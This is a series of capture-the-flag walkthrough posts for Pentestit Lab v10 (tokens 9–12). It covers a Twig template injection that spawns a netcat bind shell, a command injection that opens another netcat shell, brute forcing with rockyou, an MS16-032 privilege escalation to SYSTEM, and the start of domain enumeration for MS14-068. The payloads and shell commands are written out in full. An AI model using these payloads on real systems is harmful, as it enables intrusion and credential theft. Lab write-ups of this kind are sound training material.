In my previous post “Pentestit Lab v10 – News Token (8/13)”, we continued to utilize the compromised gw machine as a pivot point to attack the News Machine, utilized our SSH Tunnel to gain access to the website, exploited an Open Sessions vulnerability on the News site, and found our eight token. Today will be utilizing our pivot point to attack the Hall of Fame Machine – which will include the following:

  • Fingerprint & Mapping the Hall of Fame Web App
  • Exploiting an SST Injection
  • Finding the Hall of Fame Token

Fingerprint & Mapping the Hall of Fame Web App:

Alright, let’s begin by taking a look at the initial Nmap scans that we ran and see what ports/services are open on the Hall of Fame machine.

Nmap scan report for 192.168.0.8
Host is up (0.00073s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.0p1 Debian 4+deb7u6 (protocol 2.0)
80/tcp open  http    nginx
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.65 seconds

It seems that there is another web server running locally on the machine. So let’s set up an SSH Tunnel and access the machine.

This time I just opted to create a SSH VPN via SSHuttle so it’s easier for me to carry out any additional exploits in the future.

If you have no idea what I’m talking about then you should go back and read Pentestit Lab v10 – Captcha Token (7/13).

root@kali:~# sshuttle -r e.lindsey@192.168.101.9 192.168.0.0/24
e.lindsey@192.168.101.9's password: 
client: Connected.

Okay, now that we have the VPN running we can go ahead and browse to the Hall of Fame website via the IP of 192.168.0.8.

Interesting – seems like this is a blog about the Top 5 Hackers in the world. Ha-ha, let’s show them what a hacker can do then!

I decided to look around the website to map out the attack surface – meaning I was looking for injection points, html source code, etc.

At first I attempted to see what each blog post contained. I chose to browse the Jonathan James link first.

Looking at the URL I saw that the hname parameter was passing the query of James. So the first thing I attempted was a SQL Injection by injecting '--.

So it seems that injecting '-- only took us back to the home page, while leaving the URL in tact. Some of you might be thinking back to the Main Blog that we exploited via a SQL Inject and think that there is a WAF in place… but you would be wrong.

Take a look at the title of the page. Do you see that our attempted SQL Inject was reflected back to us via the title?

This is a text-book example of an SST Vulnerability or a Server-Side Template Injection.

Template engines are widely used by web applications to present dynamic data via web pages and emails. Unsafely embedding user input in templates enables Server-Side Template Injection, a frequently critical vulnerability that is extremely easy to mistake for Cross-Site Scripting (XSS), or miss entirely. Unlike XSS, Template Injection can be used to directly attack web servers’ internals and often obtain Remote Code Execution (RCE), turning every vulnerable application into a potential pivot point.

Template Injection can arise both through developer error, and through the intentional exposure of templates in an attempt to offer rich functionality, as commonly done by wikis, blogs, marketing applications and content management systems. Intentional template injection is such a common use-case that many template engines offer a ‘sandboxed’ mode for this express purpose.

Take note of the word “sandboxed” – meaning that we won’t be able to exploit this vulnerability via our current credentialed access. What we need, is to find a way to access a dev account or control panel.

So – let’s try further mapping out the Hall of Fame web app by running dirb against the website to find any hidden directories.

root@kali:~/gds# dirb http://192.168.0.8 -r

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Jan 25 21:07:07 2017
URL_BASE: http://192.168.0.8/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Not Recursive

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.0.8/ ----
==> DIRECTORY: http://192.168.0.8/backup/                                      
==> DIRECTORY: http://192.168.0.8/css/                                         
==> DIRECTORY: http://192.168.0.8/dev/                                         
==> DIRECTORY: http://192.168.0.8/fonts/                                       
==> DIRECTORY: http://192.168.0.8/img/                                         
==> DIRECTORY: http://192.168.0.8/js/                                          
==> DIRECTORY: http://192.168.0.8/templates/                                   
==> DIRECTORY: http://192.168.0.8/txt/                                         
                                                                               
-----------------
END_TIME: Wed Jan 25 21:16:43 2017
DOWNLOADED: 4612 - FOUND: 0

Awesome, so we found some initial directories. The backup directory is of particular interest to me.

Let’s further brute force the backup directory to find any .txt files. And if we can’t find any .txt files, we can then try .php and so on.

root@kali:~/gds# dirb http://192.168.0.8/backup -X .txt

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Jan 25 21:17:38 2017
URL_BASE: http://192.168.0.8/backup/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.txt) | (.txt) [NUM = 1]

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.0.8/backup/ ----
+ http://192.168.0.8/backup/passwords.txt (CODE:200|SIZE:44)                   
                                                                               
-----------------
END_TIME: Wed Jan 25 21:27:39 2017
DOWNLOADED: 4612 - FOUND: 1

Exploiting an SST Injection:

Nice! So after brute forcing the backup directory we found a file called passwords.txt. Let’s navigate to that site and see what’s included in the file!

Yes! We found a developer login! We can now go ahead and attempt to exploit the SST Inject.

Let’s return back to the original page, click on the Account drop down and Login with the developers credentials.

After a quick look at the page we see that there is a /dev/ directory and we are provided with a password to access it. So let’s go ahead and do just that!

Once logged in we are returned back to the main page of the site, but this time we are in the /dev/ directory.

From here, let’s go back to any of the links and attempt to inject the following: { {7*7} }. If the injection is successful we should see that the title page returns 49.

Note: Remove the spaces between the brackets in the 7*7 because the inject won’t work! I had to make spaces between these because the code was reflecting back to my website!

Just a side note: If you want to read more about SST Injection’s then I suggest you read this Blog Post by PortSwigger.

Alright, so our injection was successful and the title returned back 49. This means that the vulnerability is viable to exploit.

Let’s inject the following to see if we have access to the backend of the system:

{ {_self.env.registerUndefinedFilterCallback("exec")} }{ {_self.env.getFilter("id")} }

Note: Remove the spaces between the brackets in the code because the inject won’t work! I had to make spaces between these because the code was reflecting back to my website!

Awesome so the id command returned our user info and reflected it back to the title.

Finding the Hall of Fame Token:

Now that we can inject commands to the backend of the system – let’s try and open up a tcp shell for backdoor access.

We can do so by injecting the following:

{ {_self.env.registerUndefinedFilterCallback("exec")} }{ {_self.env.getFilter("nc -nlvp 1234 -e /bin/bash ")} }

Note: Remove the spaces between the brackets in the code because the inject won’t work! I had to make spaces between these because the code was reflecting back to my website!

You should see that the website is stuck on “Connecting…” which means that the netcat backdoor is waiting for an incoming connection.

We can now go ahead and connect to our backdoor via netcat.

root@kali:~/gds# nc -v 192.168.0.8 1234
192.168.0.8: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.0.8] 1234 (?) open

Great, we’re in! We can now browse the directories in search of the token!

ls
cpanel.php
css
fonts
img
indev.php
index.php
js
login.php
logout.php
passwords.txt
templates
twig
txt
cd ..
ls
hof
cd ..
ls
token_70f01ee6914535591d7c4c96b7004709.txt
www

Token (9/13):

Congrats on finding the token! Go ahead and submit it on the main page to gain points for it!

You might be wondering why I didn’t post the actual token. Well, what would be the fun in that if I did? Go through and actually try to compromise the Hall of Fame site via SST Inject to get the token!

You learn by doing, so go through this walkthrough, and the lab – and learn something new!

That’s all for now, stay tuned for my next post as we compromise Token (10/13) – The Web-Control Token!

Pentestit Lab v10 – Web-Control Token (10/13)

In my previous post “Pentestit Lab v10 – Hall of Fame Token (9/13)”, we continued utilizing our gw machine as a pivot point, utilized SSHuttle as a VPN to access the internal network, exploited an SST Inject on the Hall of Fame website, and found our ninth token. Today we will be utilizing our VPN access to the internal network to attack the Web-Control machine – which will include the following:

  • Fingerprinting the Web-Control Machine
  • Brute Forcing a Custom Application
  • Exploiting a Command Injection Vulnerability
  • Finding the Web-Control Token

As stated before – if you forgot where the Web-Control machine is located, or what the IP is, take a look at the network map.

Fingerprinting the Web-Control Machine:

At this point in the series I shouldn’t be explaining to you that we need to run an Nmap scan on the machine. Why? Well because after we compromised the GW machine and learned that Nmap was already installed, you should have gone forth and fingerprinted the whole 172.16.0.0/24 and 192.168.0.0/24 network.

If you haven’t already done that – then go ahead and fingerprint the Web-Control Machine located the the IP of 192.168.0.6.

After that’s completed, your results should be similar to mines.

Nmap scan report for 192.168.0.6
Host is up (0.00060s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       OpenSSH 6.0p1 Debian 4+deb7u6 (protocol 2.0)
80/tcp   open  http      nginx 1.2.1
1503/tcp open  imtc-mcs?
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 131.54 seconds

Alright, so we see that there are three ports/services open on the Web-Control machine. Since most of the machines that we attacked had TCP/80 open with an Nginx Web Server, seeing TCP/1503 open was kind of refreshing.

Since I haven’t seen that port before I considered to connect to it and see what it might return.

But – before we are able to connect to TCP/1503 we need to set up our VPN via our compromised SSH access on the gw machine to gain access to the internal network.

We can do so by establishing the VPN Tunnel using SSHuttle.

root@kali:~# sshuttle -r e.lindsey@192.168.101.9 192.168.0.0/24
e.lindsey@192.168.101.9's password: 
client: Connected.

Okay, now that we have unrestricted access to the Internal Network, let’s connect to TCP/1503 via Telnet. You can use netcat too – so it doesn’t really matter.

root@kali:~# telnet 192.168.0.6 1503
Trying 192.168.0.6...
Connected to 192.168.0.6.
Escape character is '^]'.
Enter login: e.lindsey
Enter password: lindsey123
Enter login: 

Interesting. It seems that the e.lindsey’s account does not have permissions to the application running on TCP/1503. Guess we will need to brute force it.

Brute Forcing a Custom Application:

Alright before we start brute forcing the application, we need to make sure that we have all the usernames that we have collected thus far in a text file.

root@kali:~/gds# gedit names.txt 
root@kali:~/gds# cat names.txt 
admin
user
a.modlin
e.lindsey
g.leone
k.barth
m.howard
rross
s.locklear
j.wise

Note that I am using admin and user as well since we were able to leverage those usernames in earlier attacks.

For this brute force to work we won’t be able to use regular tools like Hydra to attack the application, so we would need to create a custom one.

I took the privilege of building such a tool for Custom Port/Application brute forcing named Port Force.

To download the tool you can just clone it from my GitHub repository by running the following command.

root@kali:~# git clone https://github.com/jhalon/PortForce.git

Once you have the tool installed on your Linux box, let’s go ahead and copy over the tool, the names.txt file, and a password list (preferably the rockyou.txt leak) via SCP to the gw machine to prevent any issues we might encounter using the VPN tunnel.

It would be a smart choice to copy it over to the /var/tmp directory since we have privileges to access that.

root@kali:~/gds# scp port_force.py names.txt rockyou.txt  e.lindsey@192.168.101.9:/var/tmp
e.lindsey@192.168.101.9's password: 
port_force.py                                 100% 6981    56.1KB/s   00:00    
names.txt                                     100%   79     0.7KB/s   00:00    
rockyou.txt                                   100%  133MB 405.2KB/s   05:37

Once the transfer is complete, let’s log back into the gw machine via SSH and check to make sure that everything is there.

root@kali:~# ssh e.lindsey@192.168.101.9
e.lindsey@192.168.101.9's password: 
Linux tl10-ssh 3.2.0-4-amd64 #1 SMP Debian 3.2.82-1 x86_64
Last login: Thu Dec  1 12:17:26 2016 from 10.10.69.138
e.lindsey@tl10-ssh:~$ cd /var/tmp
e.lindsey@tl10-ssh:/var/tmp$ ls
names.txt  port_force.py  rockyou.txt

Awesome, now that we have everything in place, let’s start up Port Force and see if we can find the required credentials.

e.lindsey@tl10-ssh:/var/tmp$ python port_force.py -t 192.168.0.6 -p 1503 -u names.txt -P rockyou.txt 
    ____             __     ______                   
   / __ \____  _____/ /_   / ____/___  _____________ 
  / /_/ / __ \/ ___/ __/  / /_  / __ \/ ___/ ___/ _ \ 
 / ____/ /_/ / /  / /_   / __/ / /_/ / /  / /__/  __/
/_/    \____/_/   \__/  /_/    \____/_/   \___/\___/ 

             Created By: Jack Halon (KKB)            
                 Twitter: @jack_halon                


[+] Loading Username and Password List...

[+] Attacking Target:192.168.0.6 on Port:1503

[+] Pinging 192.168.0.6 to verify host connectivity...

[OK] The host 192.168.0.6 is up!

[INFO] Testing User: admin (1/10)
[10:05:21]     [-] Trying 1 of 14344392 - admin:123456
[10:05:21]     [-] Trying 2 of 14344392 - admin:12345
[10:05:22]     [-] Trying 3 of 14344392 - admin:123456789
[10:05:23]     [-] Trying 4 of 14344392 - admin:password
[10:05:23]     [-] Trying 5 of 14344392 - admin:iloveyou
[10:05:24]     [-] Trying 6 of 14344392 - admin:princess
[10:05:24]     [-] Trying 7 of 14344392 - admin:1234567
[10:05:25]     [-] Trying 8 of 14344392 - admin:rockyou
[10:05:25]     [-] Trying 9 of 14344392 - admin:12345678
[10:05:26]     [-] Trying 10 of 14344392 - admin:abc123
[10:05:26]     [-] Trying 11 of 14344392 - admin:nicole
[10:05:27]     [-] Trying 12 of 14344392 - admin:daniel
[10:05:27]     [-] Trying 13 of 14344392 - admin:babygirl
[10:05:28]     [-] Trying 14 of 14344392 - admin:monkey
[10:05:28]     [-] Trying 15 of 14344392 - admin:lovely
[10:05:29]     [-] Trying 16 of 14344392 - admin:jessica
[10:05:29]     [-] Trying 17 of 14344392 - admin:654321
[10:05:30]     [-] Trying 18 of 14344392 - admin:michael
[10:05:30]     [-] Trying 19 of 14344392 - admin:ashley
[10:05:31]     [-] Trying 20 of 14344392 - admin:qwerty
[10:05:31]     [-] Trying 21 of 14344392 - admin:111111
[10:05:32]     [-] Trying 22 of 14344392 - admin:iloveu
[10:05:32]     [-] Trying 23 of 14344392 - admin:000000
[10:05:33]     [-] Trying 24 of 14344392 - admin:michelle
[10:05:33]     [-] Trying 25 of 14344392 - admin:tigger
---snip---
[10:16:27]     [!] Success! admin:macintosh

After about 11 minutes, we find the credentails of admin:macintosh.

Exploiting a Command Injection Vulnerability:

Alright, now that we have working credentials, let’s go ahead and access the application on TCP/1503.

root@kali:~# nc 192.168.0.6 1503
Enter login: admin
Enter password: macintosh


Select option:
	1. First script
	2. Second script
	3.Third script

To exit type -1.
Option: 

Okay, so it seems that we have three options to choose from. Let’s try random input to see if the scripts do anything, or if we can’t break the application by injecting arbitrary commands.

To exit type -1.
Option: 1
Option: 2
Option: 3
Option: ||
Invalid input!

So it seems that by injecting the bash || command, we somewhat broke the application. This might be a viable Command Injection exploit.

Let’s try creating a tcp shell via netcat to see if it works.

Option: | nc -lvp 1234 -e /bin/bash

Finding the Web-Control Token:

Now that we have a tcp shell working on the backend of the Web-Control machine, let’s connect to it and try to find the token.

root@kali:~/gds# nc 192.168.0.6 1234
ls
database
test.txt
find / -name **token**
/proc/sys/net/token-ring
^[/usr/include/python2.7/token.h
/usr/lib/python2.6/tokenize.pyc
/usr/lib/python2.6/token.py
/usr/lib/python2.6/tokenize.py
/usr/lib/python2.6/lib2to3/pgen2/tokenize.pyc
/usr/lib/python2.6/lib2to3/pgen2/token.py
/usr/lib/python2.6/lib2to3/pgen2/tokenize.py
/usr/lib/python2.6/lib2to3/pgen2/token.pyc
/usr/lib/python2.6/token.pyc
/usr/lib/python2.7/tokenize.pyc
/usr/lib/python2.7/token.py
/usr/lib/python2.7/tokenize.py
/usr/lib/python2.7/lib2to3/pgen2/tokenize.pyc
/usr/lib/python2.7/lib2to3/pgen2/token.py
/usr/lib/python2.7/lib2to3/pgen2/tokenize.py
/usr/lib/python2.7/lib2to3/pgen2/token.pyc
/usr/lib/python2.7/token.pyc
/lib/modules/3.2.0-4-amd64/kernel/drivers/net/tokenring
/var/opt/token.txt

Token (10/13):

Congrats on finding the token! Go ahead and submit it on the main page to gain points for it!

You might be wondering why I didn’t post the actual token. Well, what would be the fun in that if I did? Go through and actually try to compromise the Web-Control machine via Brute Force to get the token!

You learn by doing, so go through this walkthrough, and the lab – and learn something new!

That’s all for now, stay tuned for my next post as we compromise Token (11/13) – The WIN-TERM Token

Pentestit Lab v10 – WIN-TERM Token (11/13)

In my previous post “Pentestit Lab v10 – Web-Control Token (10/13)”, we utilized our VPN tunnel via SSH on the compromised gw machine to access the internal network, brute forced our way into a custom application running on the Web-Control machine, exploited a Command Injection Vulnerability, and found our tenth token. Today we will be utilizing our VPN access to attack the WIN-TERM machine – which will include the following:

  • Fingerprinting & Gathering Information on the WIN-TERM Machine
  • Utilizing RDP for Access
  • Utilizing the MS16-032 Privilege Escalation Exploit
  • Accessing TrueCrypt and the KeePass Database
  • Finding the WIN-TERM Token

Disclosure:

Before we get into attacking the WIN-TERM machine I just want to mention a few things. First of all, we will finally be attacking Windows Machines, so pay CLOSE attention to what I am doing. Reason being is that these techniques and exploits are viable in current Windows Environments. So when you are on a pentest engagement for a company that has a lot of Windows Machines, these exploits can and possibly will be used to gain access to the Domain Controller.

Secondly, any actions and or activities related to the material contained within this post is solely your responsibility. I am in no way responsible for the misuse of this information toward any illicit and illegal activities. The purpose of this blog is to teach “Ethical Hacking” and showcase my skills and knowledge. Please make sure any hacking activates are done in a closed lab with the proper written consent of the owner.

Fingerprinting & Gathering Information on the WIN-TERM Machine:

Alright, now that I got the disclosure out of the way (I seriously can’t believe that I had to write that…), we can go ahead and start with fingerprinting the WIN-TERM Machine.

Go back and check your Nmap scans, and if you haven’t already fingerprinted the whole Pentestit Lab network – then I suggest you do so.

Your results should be closely similar to mines.

Nmap scan report for 192.168.0.3
Host is up (0.00073s latency).
Not shown: 65529 filtered ports
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn
445/tcp   open  netbios-ssn
3389/tcp  open  ms-wbt-server Microsoft Terminal Service
49154/tcp open  msrpc         Microsoft Windows RPC
49174/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 155.06 seconds

The most interesting thing from this scan is that TCP/139 and TCP/445 are open and running on the Windows Machine. This should be of particular interest to us because of the possibility that there is a NULL Session Vulnerability.

Meaning, that we would be able to access the SMB Shares on the Windows machines without any valid credentials.

But, before we can attempt the exploit that and dig for any further information… let’s start up our VPN Tunnel via our compromised SSH access on the gw machine.

root@kali:~# sshuttle -r e.lindsey@192.168.101.9 192.168.0.0/24
e.lindsey@192.168.101.9's password: 
client: Connected.

Okay, now that we have access to the internal network, let’s utilize smbclient to try and access the SMB Shares on the machine. When promoted for a password you can just type in anonymous or not use a password at all.

root@kali:~# smbclient -L 192.168.0.3
WARNING: The "syslog" option is deprecated
Enter root's password: 
Anonymous login successful
Domain=[GDS-OFFICE] OS=[Windows Server 2008 R2 Standard 7601 Service Pack 1] Server=[Windows Server 2008 R2 Standard 6.1]

	Sharename       Type      Comment
	---------       ----      -------
Error returning browse list: NT_STATUS_ACCESS_DENIED
Connection to 192.168.0.3 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
NetBIOS over TCP disabled -- no workgroup available

Well that’s unfortunate… it seems that NetBIOS over TCP is disabled and we have no privileges to see anything on the SMB Shares – meaning that the NULL Sessions vulnerability is not in any way viable for us.

But… we did get some more information from the machine. If we look closely, we can see that we are provided with the domain name of the network, which is GDS-OFFICE. We are also provided with the Windows Version!

Utilizing RDP for Access:

Now that we know the domain name, let’s utilize rdesktop to connect to the Windows machine via the RDP Client running on TCP/135 using e.lindsey’s credentials.

Just a quick note, the password for e.lindsey won’t work with RDP due to the fact that the windows machine might have implemented a password policy. So I attempted to change the Lin lindsey’s password to a capital letter which might satisfy the requirements.

root@kali:~# rdesktop -u "GDS-OFFICE\\e.lindsey" -p Lindsey123 -r disk:share=/root/gds 192.168.0.3
Autoselected keyboard map en-us
ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?
Connection established using SSL.

After a successful guess of e.lindsey’s password, we establish a successful RDP Session and have GUI Access to the Windows machine.

Okay, now that we have access let’s quickly browse to the Desktop to see if there are any application we can use.

We see that we have 2 applications installed on the machine: TrueCrypt and KeePass.

TrueCrypt is an OTFE (on-the-fly-encryption) tool that allows you to encrypt files on a virtual shares, certain partitions of the disk, or the entire disk itself.

This means that there is an encrypted share located somewhere on this computer. Let’s do some initial reconnaissance and see if we can’t find that share.

After looking around a bit we find a mywork_gds_disk file located in the C:\share directory of the Windows machine.

Unfortunately, we don’t have access to it – so we need to find a way to decrypt this.

Let’s go back and see if we can’t access any other User folders on the machine. Specifically the Administrator folder is of interest to us, since it might contain the decryption key.

And once again, we don’t have any privileges.

Okay – so we need to do some privilege escalation. Let’s start by looking up the System Settings and see if we can’t find any public exploit.

Utilizing the MS16-032 Privilege Escalation Exploit:

From the system settings we can tell that the Windows machine is running Windows Server 2008 R2.

There is actually a very well-known Privilege Escalation Exploit called MS16-032 which we can utilize via PowerShell.

Let’s go ahead and download the exploit to our Kali machine, and transfer it over to our share folder which we created when establishing an RDP Session.

If you don’t know where that share folder is located, then look back at the -r option you set when using rdesktop.

-r disk:share=/root/gds

For me, the share would be located at /root/gds on my Kali Machine. For you it might be different.

Once you have downloaded the exploit to that folder, return back to the WIN-TERM machine and open the created network share called share on kali. It might be called differently if you changed your Kali’s name.

One we have verified that the 39719.ps1 file is in there, go ahead and copy it over to the desktop.

From here let’s start up PowerShell, navigate to the Desktop, and run our exploit.

Note: We might have to run the PowerShell command of powershell -ExecutionPolicy Bypasswhich will allow us to execute 3rd party scripts.

Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\Users\e.lindsey> cd .\Desktop
PS C:\Users\e.lindsey\Desktop> ls


    Directory: C:\Users\e.lindsey\Desktop


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---          2/9/2017   7:25 PM      11829 39719.ps1
-a---        11/25/2016  11:49 PM       1113 KeePass 2.lnk


PS C:\Users\e.lindsey\Desktop> powershell -ExecutionPolicy Bypass
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\Users\e.lindsey\Desktop> Import-Module .\39719.ps1
PS C:\Users\e.lindsey\Desktop> Invoke-MS16-032
         __ __ ___ ___   ___     ___ ___ ___
        |  V  |  _|_  | |  _|___|   |_  |_  |
        |     |_  |_| |_| . |___| | |_  |  _|
        |_|_|_|___|_____|___|   |___|___|___|

                       [by b33f -> @FuzzySec]

[?] Operating system core count: 4
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 1064

[*] Sniffing out privileged impersonation token..

[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[?] Success, open SYSTEM token handle: 1140
[+] Resuming thread..

[*] Sniffing out SYSTEM shell..

[>] Duplicating SYSTEM token
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!

PS C:\Users\e.lindsey\Desktop>

Once the command successfully runs, you should see a Command Prompt pop up with Administrative Access.

Accessing TrueCrypt and the KeePass Database:

Now that we have administrative access – pft, more like System Access – let’s go ahead and utilize our CMD Prompt to navigate to the Administrators desktop and see what we can find.

C:\Users\e.lindsey\Desktop>cd C:\Users\Administrator\Desktop

C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 52A6-CE75

 Directory of C:\Users\Administrator\Desktop

12/06/2016  05:24 AM    <DIR>          .
12/06/2016  05:24 AM    <DIR>          ..
12/06/2016  05:20 AM                95 automount.bat
11/23/2016  05:27 AM             1,101 KeePass 2.lnk
               2 File(s)          1,196 bytes
               2 Dir(s)  19,936,813,056 bytes free

The bat file looks interesting… let’s see if that will mount the encrypted drive for us.

C:\Users\Administrator\Desktop>automount.bat
C:\Users\Administrator\Desktop>"C:\Program Files\TrueCrypt\TrueCrypt.exe" /v C:\
share\mywork_gds_disk /lx /a /p "E&93_ndRnyE$"

With the successful use of the automount.bat file, you should see TrueCrypt pop up with the mounted share.

From here, let’s navigate to the X share.

In that share you should see a KeePass Database file.

Double click that file to open up the KeePass Database.

Finding the WIN-TERM Token

At this point we are prompted for the Password to access the KeePass Database.

What we can do is actually click on the three dots ... and navigate back to the X Share which stores the .key file.

Once you find the file, select it, and click open. This should give us access to the KeePass Database.

After a quick initial look, it seems we found the password for rross’s access to the cloud on port 2222.

Let’s save that password as we will need it for the future compromise of the Cloud Machine.

A quick look through the KeePass directories allows us to find the WIN-TERM Token.

Token (11/13):

Congrats on finding the token! Go ahead and submit it on the main page to gain points for it!

You might be wondering why I didn’t post the actual token. Well, what would be the fun in that if I did? Go through and actually try to compromise the WIN-TERM Machine via MS16-032 to get the token!

You learn by doing, so go through this walkthrough, and the lab – and learn something new!

That’s all for now, stay tuned for my next post as we compromise Token (12/13) – The WIN-DC0 Token!

Pentestit Lab v10 – WIN-DC0 Token (12/13)

In my previous post “Pentestit Lab v10 – WIN-TERM Token (11/13)”, we utilized our VPN tunnel to access the WIN-TERM machine via RDP, exploited the MS16-032 vulnerability to escalate our privileges to System, mounted an encrypted share via TrueCrypt, accessed a KeePass database, and found our eleventh token. Today we will utilize our WIN-TERM access to pivot into the WIN-DC0 machine and compromise the domain – which will include the following:

  • Fingerprinting & Accessing the WIN-DC0 Machine
  • Gathering Account & Domain Information
  • Utilizing the MS14-068 Exploit to Forge a Kerberos TGT
  • Finding the WIN-DC0 Token

Disclosure:

As mentioned in my previous post – please pay CLOSE attention to what is being done and what process is being followed. The technique and exploit used (MS14-068) are still viable in some Windows environments, and you will be using most – if not all – of what you learn today to leverage Admin/System credentials to compromise the Domain Controller during a pentest.

Secondly, any actions and or activities related to the material contained within this post is solely your responsibility. I am in no way responsible for the misuse of this information toward any illicit and illegal activities. The purpose of this blog is to teach “Ethical Hacking” and showcase my skills and knowledge. Please make sure any hacking activates are done in a closed lab with the proper written consent of the owner.

Fingerprinting & Accessing the WIN-DC0 Machine:

Alright, before we attempt to exploit the WIN-DC0 machine we need to fingerprint it first and see what kind of ports/services are open and running.

After running an Nmap scan, your results should be similar to mines.

Nmap scan report for 192.168.0.2
Host is up (0.00094s latency).
Not shown: 65516 filtered ports
PORT      STATE SERVICE        VERSION
53/tcp    open  domain         Microsoft DNS 6.1.7601
88/tcp    open  kerberos-sec   Windows 2003 Kerberos (server time: 2017-02-10 03:46:05Z)
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  netbios-ssn
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http     Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server?
5722/tcp  open  msrpc          Microsoft Windows RPC
9389/tcp  open  tcpwrapped
49153/tcp open  msrpc          Microsoft Windows RPC
49156/tcp open  msrpc          Microsoft Windows RPC
49157/tcp open  ncacn_http     Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc          Microsoft Windows RPC
49163/tcp open  msrpc          Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 162.23 seconds

At first you might be a little overwhelmed with the wealth of information from the scan, but don’t fret – you just hit pay dirt!

Take a close look at the Nmap output. You can see that TCP/88 Kerberos and TCP/389 LDAP are open and running.

We can thus be certain that this is the DC, or the Domain Controller.

In this case, this is the PDC, or Primary Domain Controller. A Primary Domain Controller, is a server in a Windows NT network that maintains a read-write directory of user accounts and security information. The PDC authenticates usernames and passwords when members log into the network. Members only have to log into one domain to access all resources in the network.

So, if we are able to compromise the DC, then we basically have the keys to the kingdom and full control over the company’s domain.

Before we can get access to the WIN-DC0 machine, let’s start by setting up our VPN Tunnel via SShuttle.

root@kali:~# sshuttle -r e.lindsey@192.168.101.9 192.168.0.0/24
e.lindsey@192.168.101.9's password: 
client: Connected.

Remember rross’s credentials that we compromised from KeePass? Let’s try using those to RDP into the WIN-DC0 Machine.

root@kali:~# rdesktop -u "GDS-OFFICE\\rross" -p wwDr6rte -r disk:share=/root/gds 192.168.0.2
Autoselected keyboard map en-us
ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?
Failed to connect, CredSSP required by server.

Oh what? We aren’t able to connect? Alright – don’t panic! Just remember to…

The error of “CredSSP required by server” means that WIN-DC0 will only allow connections from computers running remote desktop with network level authentication. At the same time, it requires us to use a Kerberos TGT or Ticket Granting Ticket for authenticated access.

Well okay, let’s just take a step back and RDP back into the WIN-TERM machine and work from there!

root@kali:~# rdesktop -u "GDS-OFFICE\\e.lindsey" -p Lindsey123 -r disk:share=/root/gds 192.168.0.3

Once you are logged in, and successfully connected – go ahead and open a Command Prompt.

Gathering Account & Domain Information:

Okay – this is where the real fun begins!

Before you jump into this section of the write-up, I suggest that you go watch the following video on Forging Kerberos Ticket-Granting Tickets (TGT) for Privilege Escalation and SEP Bypass.

You can also read the following blog post on Exploiting MS14-068 Vulnerable Domain Controllers Successfully with the Python Kerberos Exploitation Kit (PyKEK).

Since we already have access to the WIN-TERM machine, the first thing we want to do is run a net user command to see all the available users on the PDC (Primary Domain Controller).

C:\Users\e.lindsey>net user /Domain
The request will be processed at a domain controller for domain gds-office.lab.


User accounts for \\WIN-DC0.gds-office.lab

-------------------------------------------------------------------------------
a.modlin                 Administrator            d.casper
e.lindsey                e.magnusson              g.leone
g.mcdonald               g.oliva                  Guest
j.juneau                 j.wise                   k.barth
k.mccants                k.torres                 krbtgt
m.cathcart               m.hoffman                m.howard
m.whelchel               o.frazier                p.thompson
r.breese                 s.locklear               t.mcbride
w.mcconnel
The command completed successfully.

Well, it seems that rross isn’t on here – so we wouldn’t be able to connect with his credentials anyway. But, e.lindsey is a user of the domain so we can continue to leverage her credentials.

Next we will want to utilize the WMIC command to take control over the WMI. This will allow us to check user account information on the domain.

C:\Users\e.lindsey>wmic
wmic:root\cli>useraccount
AccountType  Caption                   Description                                               Disabled  Domain      FullName           InstallDate  LocalAccount  Lockout  Name           PasswordChangeable  PasswordExpires  PasswordRequired  SID                                           SIDType  Status
512          WIN-TERM\Administrator    Built-in account for administering the computer/domain    FALSE     WIN-TERM                                    TRUE          FALSE    Administrator  TRUE                TRUE             TRUE              S-1-5-21-421115581-889488229-2938181853-500   1        OK
512          WIN-TERM\Guest            Built-in account for guest access to the computer/domain  TRUE      WIN-TERM                                    TRUE          FALSE    Guest          FALSE               FALSE            FALSE             S-1-5-21-421115581-889488229-2938181853-501   1        Degraded
